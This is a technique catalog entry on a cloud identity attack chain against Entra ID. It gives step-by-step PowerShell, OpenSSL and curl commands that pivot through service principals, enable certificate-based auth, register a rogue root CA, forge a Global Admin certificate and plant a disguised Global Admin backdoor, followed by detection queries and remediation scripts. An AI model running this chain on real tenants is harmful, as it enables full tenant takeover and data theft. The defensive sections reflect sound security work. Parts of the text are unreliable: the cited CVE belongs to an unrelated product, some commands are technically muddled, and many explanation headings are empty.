| Attribute | Details |
|---|---|
| Technique ID | EMERGING-IDENTITY-001 |
| MITRE ATT&CK v18.1 | T1556 - Modify Authentication Process |
| Tactic | Privilege Escalation, Persistence |
| Platforms | Entra ID, M365, Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Entra ID (all versions) |
| Patched In | N/A (Design issue, not a vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SMART (Secure Multi-factor Authentication with Refined Trust) identity abuse is an emerging attack vector that exploits weak trust models in hybrid cloud identity systems. Attackers abuse certificate-based authentication (CBA), Conditional Access policy misconfigurations, and service principal ownership chains to escalate privileges and achieve tenant-level compromise without triggering traditional MFA or detection systems. This technique evolved from the Actor token vulnerability (CVE-2023-28432) and represents a shift toward chaining multiple identity misconfigurations into devastating attack paths.
Attack Surface: Azure AD Graph API (legacy), service principal permissions (Application.ReadWrite.OwnedBy), certificate-based authentication configurations, Conditional Access policy evaluation, Primary Refresh Token (PRT) issuance.
Business Impact: Complete Entra ID tenant compromise, including Global Admin privileges. Attackers gain the ability to create backdoor accounts, modify Conditional Access policies, grant themselves permissions to Azure resources, access all M365 data (Exchange, SharePoint, Teams), and establish long-term persistence without audit trail evidence.
Technical Context: A sophisticated attack chain typically takes 30-60 minutes to execute once the attacker has initial service principal credentials. Detection probability is Low due to the absence of direct MFA enforcement on backend API operations. The attack exploits trust boundaries between owned service principals and gaps in permission scoping.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Entra ID v1.3, 2.1.3 | Ensure that Identity Authentication is Properly Configured |
| DISA STIG | AC-2 (a), AC-3, AC-6 | Account Management, Access Control Enforcement, Least Privilege |
| CISA SCuBA | ID.AM-1, ID.P-1 | Identity and Access Management, Identity Governance |
| NIST 800-53 | AC-2, AC-3, AC-6, IA-2 | Account Management, Access Enforcement, Least Privilege, Authentication |
| GDPR | Art. 25, Art. 32 | Data Protection by Design, Security of Processing |
| DORA | Art. 9, Art. 15 | Protection and Prevention Measures, Incident Response |
| NIS2 | Art. 21, Art. 23 | Risk Management Measures, Security Strategy |
| ISO 27001 | A.9.2.1, A.9.2.3, A.9.4.2 | User Registration, Privileged Access Management, Access Review |
| ISO 27005 | Risk Scenario: Admin Compromise | Compromise of cloud identity administration interface |
Supported Versions: All Entra ID tenants (no version dependency)
Objective: Gain initial access via leaked credentials from automation or legacy systems.
Command:
# Example: Hardcoded credentials found in GitHub repository
$clientId = "12345678-1234-1234-1234-123456789012"
$clientSecret = "your-leaked-secret"
$tenantId = "target-tenant-id"
# Authenticate to Entra ID
$body = @{
grant_type = "client_credentials"
client_id = $clientId
client_secret = $clientSecret
scope = "https://graph.microsoft.com/.default"
}
$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method Post -Body $body
$accessToken = $response.access_token
Expected Output:
Name Value
---- -----
access_token eyJ0eXAiOiJKV1QiLCJhbGc...
expires_in 3599
token_type Bearer
What This Means:
OpSec & Evasion:
Troubleshooting:
invalid_client: Client assertion expired
Objective: Identify which service principals this service principal owns (exploitation escalation point).
Command:
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
# List all service principals this SP owns
$ownedSPs = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals" `
-Method Get -Headers $headers -Body @{ "`$filter" = "createdByAppId eq '$clientId'" }
Write-Host "Owned Service Principals:"
foreach ($sp in $ownedSPs.value) {
Write-Host " - $($sp.displayName) ($($sp.id))"
}
Expected Output:
Owned Service Principals:
- DataSync-Production (abcd1234-5678-90ef-ghij-1234567890ab)
- LegacyAutomation (bcde2345-6789-0fgh-ijkl-2345678901bc)
What This Means:
OpSec & Evasion:
Troubleshooting:
Authorization_RequestDenied: Insufficient privileges
Objective: Authenticate as owned service principal with potentially higher permissions.
Command:
# Use the owned service principal's credentials if known, or refresh token
# Alternative: Request token on behalf of owned service principal
$pivotBody = @{
grant_type = "client_credentials"
client_id = "abcd1234-5678-90ef-ghij-1234567890ab" # Owned SP ID
client_secret = "owned-sp-secret" # If attacker obtained it
scope = "https://graph.microsoft.com/.default"
}
$pivotResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method Post -Body $pivotBody
$pivotToken = $pivotResponse.access_token
Write-Host "Pivoted to service principal with new token: $($pivotToken.Substring(0, 50))..."
Expected Output:
Pivoted to service principal with new token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI...
What This Means:
Application.ReadWrite.OwnedBy or higher permissionsOpSec & Evasion:
Objective: Gain permissions to enable Certificate-Based Authentication (CBA) tenant-wide.
Command:
# First, identify eligible PIM group assignments
$pimAssignments = Invoke-RestMethod -Uri "https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests" `
-Method Post -Headers $headers `
-Body (ConvertTo-Json @{
action = "AdminAssign"
principalId = "user-or-sp-id"
roleDefinitionId = "10dae51f-b6af-4016-8d66-8c2a99b929b3" # Authentication Policy Administrator role
targetScheduleId = "group-assignment-id"
scheduleInfo = @{
startDateTime = (Get-Date).ToUniversalTime().ToString("o")
expiration = @{
endDateTime = (Get-Date).AddHours(1).ToUniversalTime().ToString("o")
}
}
})
Write-Host "PIM activation request created: $($pimAssignments.id)"
Expected Output:
PIM activation request created: 12345678-abcd-ef01-2345-6789abcdef01
What This Means:
OpSec & Evasion:
Objective: Modify authentication policy to accept CBA with lower assurance levels.
Command:
# Get current authentication policy
$authPolicy = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy" `
-Method Get -Headers $headers
# Modify to enable CBA at lower assurance levels
$cbaUpdate = @{
authenticationMethods = @(
@{
id = "x509Certificate"
state = "enabled"
ruleCollections = @(
@{
conditions = @(@{
authenticationMode = "any" # Allow from any context
})
authenticationRequirements = @(@{
isAdmin = $false
requirementLevel = "mfa"
})
id = "rulecollection-1"
}
)
}
)
}
$updateResponse = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy" `
-Method Patch -Headers $headers -Body (ConvertTo-Json $cbaUpdate -Depth 10)
Write-Host "CBA enabled tenant-wide"
Expected Output:
CBA enabled tenant-wide
What This Means:
OpSec & Evasion:
Objective: Create a rogue CA that the tenant will trust for certificate validation.
Command (Linux/OpenSSL):
# Generate private key for malicious CA
openssl genrsa -out malicious_ca.key 4096
# Create self-signed root CA certificate
openssl req -new -x509 -days 365 -key malicious_ca.key -out malicious_ca.crt \
-subj "/CN=Trusted-Root-CA/O=Contoso/C=US"
# Verify certificate
openssl x509 -in malicious_ca.crt -text -noout
# Encode to base64 for upload
cat malicious_ca.crt | base64 -w 0 > malicious_ca_base64.txt
Expected Output:
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 12:34:56:78:9a:bc:de:f0
Signature Algorithm: sha256WithRSAEncryption
Issuer: CN=Trusted-Root-CA, O=Contoso, C=US
Subject: CN=Trusted-Root-CA, O=Contoso, C=US
Validity:
Not Before: Jan 10 00:00:00 2026 GMT
Not After : Jan 10 00:00:00 2027 GMT
What This Means:
OpSec & Evasion:
Objective: Upload the malicious root CA to the tenant’s trusted certificate authorities.
Command:
# Read the base64-encoded certificate
$certBase64 = Get-Content "C:\path\to\malicious_ca_base64.txt"
# Register as trusted CA
$trustedCA = Invoke-RestMethod -Uri "https://graph.microsoft.com/beta/organization/certificateBasedAuthConfiguration" `
-Method Post -Headers $headers `
-Body (ConvertTo-Json @{
certificateAuthorities = @(@{
certificate = $certBase64
issuerName = "Trusted-Root-CA"
thumbprint = "12:34:56:78:9a:bc:de:f0:12:34:56:78:9a:bc:de:f0"
isRootCA = $true
isIntermediateCA = $false
})
} -Depth 10)
Write-Host "Malicious CA registered: $($trustedCA.id)"
Expected Output:
Malicious CA registered: 12345678-abcd-ef01-2345-6789abcdef01
What This Means:
OpSec & Evasion:
Objective: Create a certificate for a Global Admin account, signed by malicious CA.
Command (Linux/OpenSSL):
# Create certificate signing request (CSR) for Global Admin
openssl req -new -key malicious_ca.key -out global_admin.csr \
-subj "/CN=globaladmin@contoso.com/O=Contoso/OU=IT/C=US"
# Sign CSR with malicious CA key to create client certificate
openssl x509 -req -days 365 -in global_admin.csr \
-CA malicious_ca.crt -CAkey malicious_ca.key \
-CAcreateserial -out global_admin.crt \
-extfile <(printf "subjectAltName=email:globaladmin@contoso.com")
# Create PKCS12 file (for authentication)
openssl pkcs12 -export -out global_admin.pfx \
-inkey malicious_ca.key -in global_admin.crt \
-password pass:attacker_password
# Verify certificate
openssl x509 -in global_admin.crt -text -noout
Expected Output:
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 9a:bc:de:f0:12:34:56:78
Issuer: CN=Trusted-Root-CA, O=Contoso, C=US
Subject: CN=globaladmin@contoso.com, O=Contoso, OU=IT, C=US
X509v3 extensions:
X509v3 Subject Alternative Name:
email:globaladmin@contoso.com
What This Means:
OpSec & Evasion:
Objective: Use the client certificate to authenticate to Entra ID as Global Admin.
Command (Linux/curl):
# Convert PFX to PEM for curl
openssl pkcs12 -in global_admin.pfx -out global_admin.pem -nodes \
-password pass:attacker_password
# Authenticate using certificate-based authentication
curl -X POST \
-d "grant_type=client_credentials" \
-d "client_id=globaladmin%40contoso.com" \
-d "client_secret=&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default" \
-d "assertion=$(base64 global_admin.crt)" \
-d "assertion_type=urn:ietf:params:oauth:assertion-type:x509" \
--cert global_admin.pem \
--key global_admin.key \
"https://login.microsoftonline.com/contoso.onmicrosoft.com/oauth2/v2.0/token" \
> global_admin_token.json
# Extract access token
cat global_admin_token.json | jq '.access_token'
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI...",
"expires_in": 3599,
"token_type": "Bearer"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
AADSTS500019: Invalid certificate
Objective: Create a secondary backdoor to maintain access even if primary is detected.
Command:
$adminToken = (Get-Content "C:\path\to\global_admin_token.json" | ConvertFrom-Json).access_token
$headers = @{
"Authorization" = "Bearer $adminToken"
"Content-Type" = "application/json"
}
# Create backdoor service principal
$backdoorSP = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals" `
-Method Post -Headers $headers `
-Body (ConvertTo-Json @{
appId = "87654321-abcd-ef01-2345-6789abcdef01" # Attacker-controlled app
displayName = "Office Deployment Assistant" # Legitimate-sounding name
})
# Add owner permissions to backdoor SP
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$($backdoorSP.id)/owners/`$ref" `
-Method Post -Headers $headers `
-Body (ConvertTo-Json @{
"@odata.id" = "https://graph.microsoft.com/v1.0/servicePrincipals/$($backdoorSP.id)"
})
# Grant Global Admin role
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" `
-Method Post -Headers $headers `
-Body (ConvertTo-Json @{
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Admin role
principalId = $backdoorSP.id
})
Write-Host "Persistent backdoor created: $($backdoorSP.displayName) ($($backdoorSP.id))"
Expected Output:
Persistent backdoor created: Office Deployment Assistant (87654321-abcd-ef01-2345-6789abcdef01)
What This Means:
OpSec & Evasion:
Note: No direct Atomic Red Team test for this emerging technique. However, related tests include:
Recommended Simulation:
# Simulate the attack chain in a controlled lab
# Prerequisites: Leaked service principal credentials, CBA enabled
# Step 1: Authenticate with leaked SP
$token = Get-AccessToken -ClientId $spClientId -ClientSecret $spSecret -TenantId $tenantId
# Step 2: Enumerate owned SPs
$ownedSPs = Get-OwnedServicePrincipals -AccessToken $token
# Step 3-4: Pivot and activate PIM
Activate-PIMRole -Role "Authentication Policy Administrator" -DurationHours 1
# Step 5: Enable CBA
Enable-CertificateBasedAuth -TenantId $tenantId -AssuranceLevel "mfa"
# Step 6-7: Upload and register malicious CA
Register-MaliciousCA -CertificatePath "C:\malicious_ca.crt"
# Step 8-9: Create and use forged certificate
$adminToken = Get-TokenWithCertificate -CertPath "C:\global_admin.pfx" -UserUPN "globaladmin@contoso.com"
# Step 10: Verify full compromise
Test-TenantCompromise -AdminToken $adminToken
Key Commands for SMART Identity Abuse:
# Import the module
Import-Module AADInternals
# Get all owned service principals
Get-AADIntOwnedServicePrincipals
# Enable certificate-based auth
Enable-AADIntCertificateBasedAuth
# Register malicious CA
Register-AADIntCertificateAuthority -CertificatePath "C:\malicious_ca.crt"
Install-Module AzureAD -Force
Install-Module Microsoft.Graph -Repository PSGallery
Rule Configuration:
KQL Query:
// Detect suspicious service principal ownership escalation
let SuspiciousOwnershipPatterns =
AuditLogs
| where OperationName contains "Update service principal"
or OperationName contains "Add owner"
| extend AppId = tostring(parse_json(TargetResources[0].id))
| extend OwnerAction = tostring(parse_json(TargetResources[0].modifiedProperties[0].newValue))
| where OwnerAction contains "owner" or OwnerAction contains "permissions"
| where TimeGenerated > ago(24h);
let OwnedSPCreation =
AuditLogs
| where OperationName == "Add service principal"
| extend CreatedByAppId = tostring(parse_json(AdditionalDetails[0].value))
| where CreatedByAppId != ""
| extend CreatedAppId = tostring(parse_json(TargetResources[0].id));
SuspiciousOwnershipPatterns
| join (OwnedSPCreation) on InitiatedBy
| project TimeGenerated, OperationName, InitiatedBy, AppId, CreatedAppId, OwnerAction
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Service Principal Ownership EscalationHigh5 minutes24 hoursRule Configuration:
KQL Query:
// Detect CBA enablement at tenant level (especially unusual timing)
AuditLogs
| where OperationName in (
"Update authentication method policy",
"Update authenticationMethodsPolicy",
"Enable certificate-based authentication"
)
| where Result == "Success"
| extend CBAEnabled = tostring(parse_json(TargetResources[0].modifiedProperties[0].newValue))
| where CBAEnabled contains "x509Certificate" or CBAEnabled contains "enabled"
| extend ModifiedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend ModifiedByIP = tostring(InitiatedBy.user.ipAddress)
| project TimeGenerated, OperationName, ModifiedBy, ModifiedByIP, CBAEnabled, ResultDescription
What This Detects:
Manual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Critical: Certificate-Based Auth Enabled Tenant-Wide" `
-Query @"
AuditLogs
| where OperationName in (
'Update authentication method policy',
'Update authenticationMethodsPolicy',
'Enable certificate-based authentication'
)
| where Result == 'Success'
"@ `
-Severity "Critical" `
-Enabled $true
Rule Configuration:
KQL Query:
// Detect registration of untrusted certificate authorities
AuditLogs
| where OperationName in (
"Add certificate authority",
"Update certificate authority configuration",
"Register trusted CA"
)
| where Result == "Success"
| extend CertThumbprint = tostring(parse_json(TargetResources[0].modifiedProperties[0].newValue))
| extend CertIssuer = tostring(parse_json(TargetResources[0].displayName))
| extend RegisteredBy = tostring(InitiatedBy.user.userPrincipalName)
| where CertIssuer contains "CA" or CertIssuer contains "Authority"
| project TimeGenerated, OperationName, RegisteredBy, CertThumbprint, CertIssuer
| sort by TimeGenerated desc
What This Detects:
Note: SMART identity abuse is cloud-only; no direct Windows Event Logs. However, if attacker uses RDP or WinRM after compromise, monitor:
Manual Steps (PowerShell):
# List all service principals with owners
Get-MgServicePrincipal | Select-Object DisplayName, Id, Owners
# Remove specific owner from service principal
Remove-MgServicePrincipalOwnerByRef -ServicePrincipalId "sp-id" -DirectoryObjectId "owner-id"
# Delete unused service principal
Remove-MgServicePrincipal -ServicePrincipalId "unused-sp-id"
Manual Steps (PowerShell):
# Connect to Entra ID
Connect-MgGraph -Scopes "AuthenticationMethodPolicy.ReadWrite.All"
# Get current auth policy
$policy = Get-MgPolicyAuthenticationMethodPolicy
# Disable CBA
Update-MgPolicyAuthenticationMethodPolicy -Id $policy.Id `
-AuthenticationMethods @{
@{
"@odata.type" = "#microsoft.graph.x509Certificate"
state = "disabled"
}
}
PowerShell Validation:
# List all trusted CAs
$authPolicy = Get-MgPolicyAuthenticationMethodPolicy
$cas = $authPolicy.AuthenticationMethods | Where-Object { $_."@odata.type" -eq "x509Certificate" }
Write-Host "Trusted CAs:"
foreach ($ca in $cas) {
Write-Host " - Issuer: $($ca.issuerName), Thumbprint: $($ca.thumbprint)"
}
Require Compliant Device for CBAPowerShell Alternative:
# Create Conditional Access policy for CBA
New-MgIdentityConditionalAccessPolicy `
-DisplayName "Require Compliant Device for CBA" `
-Conditions @{
Applications = @{ IncludeApplications = "All" }
Users = @{ IncludeUsers = "All" }
Devices = @{ IncludeDeviceStates = "Compliant" }
} `
-GrantControls @{
OperatorMultiValueOperator = "OR"
BuiltInControls = @("mfa", "compliantDevice")
} `
-State "enabledForReportingButNotEnforced"
# List all service principals with high-risk permissions
Get-MgServicePrincipal | ForEach-Object {
$sp = $_
$perms = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id
if ($perms.Count -gt 0) {
Write-Host "SP: $($sp.DisplayName)"
$perms | ForEach-Object {
Write-Host " - $($_.PrincipalDisplayName): $($_.AppRoleId)"
}
}
}
# Comprehensive security posture check
$tenantId = "your-tenant-id"
# 1. Check if CBA is disabled
$authPolicy = Get-MgPolicyAuthenticationMethodPolicy
$cbaStatus = $authPolicy.AuthenticationMethods | Where-Object { $_."@odata.type" -eq "x509Certificate" } | Select-Object -ExpandProperty State
Write-Host "CBA Status: $cbaStatus (Should be 'disabled' if not needed)"
# 2. Check service principal ownership
$orphanedSPs = Get-MgServicePrincipal | Where-Object { (Get-MgServicePrincipalOwner -ServicePrincipalId $_.Id).Count -eq 0 }
Write-Host "Orphaned Service Principals: $($orphanedSPs.Count) (Should be 0 or minimal)"
# 3. Check PIM approvals
$pimPolicy = Get-MgIdentityGovernancePrivilegedAccessGroupAssignmentSchedulePolicy
Write-Host "PIM Approval Required: $($pimPolicy.ApprovalRequired) (Should be true)"
# 4. Check Conditional Access policies
$caPolicy = Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Compliant*" }
Write-Host "Conditional Access Device Compliance Policy: $($caPolicy.DisplayName)"
# 5. Check registered CAs
$cas = Get-MgOrganizationCertificateBasedAuthConfiguration
Write-Host "Registered Certificate Authorities: $($cas.CertificateAuthorities.Count)"
$cas.CertificateAuthorities | ForEach-Object { Write-Host " - $($_.IssuerName)" }
Expected Output (If Secure):
CBA Status: disabled (Should be 'disabled' if not needed)
Orphaned Service Principals: 0 (Should be 0 or minimal)
PIM Approval Required: True (Should be true)
Conditional Access Device Compliance Policy: Require Compliant Device for CBA
Registered Certificate Authorities: 1
- Contoso-Internal-CA
What to Look For:
graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy# Revoke all refresh tokens for Global Admin
Revoke-MgUserSignInSession -UserId "globaladmin@contoso.com"
# Disable the Global Admin account temporarily
Update-MgUser -UserId "globaladmin@contoso.com" -AccountEnabled $false
# Revoke all PRT tokens (Primary Refresh Tokens)
Revoke-MgUserSignInSession -UserId "globaladmin@contoso.com"
Manual (Azure Portal):
# Export all AuditLogs from past 30 days
$logs = Get-MgAuditLogDirectoryAudit -Filter "createdDateTime gt 2026-01-10" -All
$logs | Export-Csv -Path "C:\Forensics\AuditLogs_30days.csv"
# Export authentication method policy history
Get-MgPolicyAuthenticationMethodPolicy | Export-Csv "C:\Forensics\AuthPolicy.csv"
# List all certificate authorities
Get-MgOrganizationCertificateBasedAuthConfiguration | Export-Csv "C:\Forensics\CertificateAuthorities.csv"
# List all service principals and role assignments
Get-MgServicePrincipal -All | Export-Csv "C:\Forensics\ServicePrincipals.csv"
Manual (Azure Portal):
# Remove malicious CA
$maliciousCAs = Get-MgOrganizationCertificateBasedAuthConfiguration
$maliciousCAs.CertificateAuthorities | Where-Object { $_.IssuerName -eq "Trusted-Root-CA" } | ForEach-Object {
# Unfortunately, removal requires direct API call
$caToRemove = $_
Write-Host "Remove CA: $($caToRemove.IssuerName)" # Manual step via Azure Portal
}
# Disable CBA if not needed
Update-MgPolicyAuthenticationMethodPolicy -Id (Get-MgPolicyAuthenticationMethodPolicy).Id `
-AuthenticationMethods @{
@{
"@odata.type" = "#microsoft.graph.x509Certificate"
state = "disabled"
}
}
# Remove backdoor service principal
Remove-MgServicePrincipal -ServicePrincipalId "backdoor-sp-id"
# Revoke all service principal secrets
Get-MgServicePrincipal | Get-MgServicePrincipalPasswordCredential | ForEach-Object {
Remove-MgServicePrincipalPassword -ServicePrincipalId $_.ServicePrincipalId -KeyId $_.KeyId
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-004, REC-CLOUD-001] | Enumeration of service principals and privilege paths |
| 2 | Initial Access | [IA-VALID-001] | Default or leaked service principal credentials |
| 3 | Privilege Escalation | [EMERGING-IDENTITY-001] | SMART Identity Abuse via service principal chain |
| 4 | Persistence | [PER-CLOUD-001] | Creation of backdoor service principals with Global Admin |
| 5 | Impact | [IMPACT-M365-001] | Exfiltration of M365 data, ransomware deployment, tenant-wide compromise |
SMART Identity Abuse exploits the convergence of three weaknesses:
Prevention requires a layered approach:
This technique represents a critical gap in identity security: the absence of MFA enforcement at the API level for service-to-service authentication, creating a pathway from low-privilege automation to complete tenant compromise.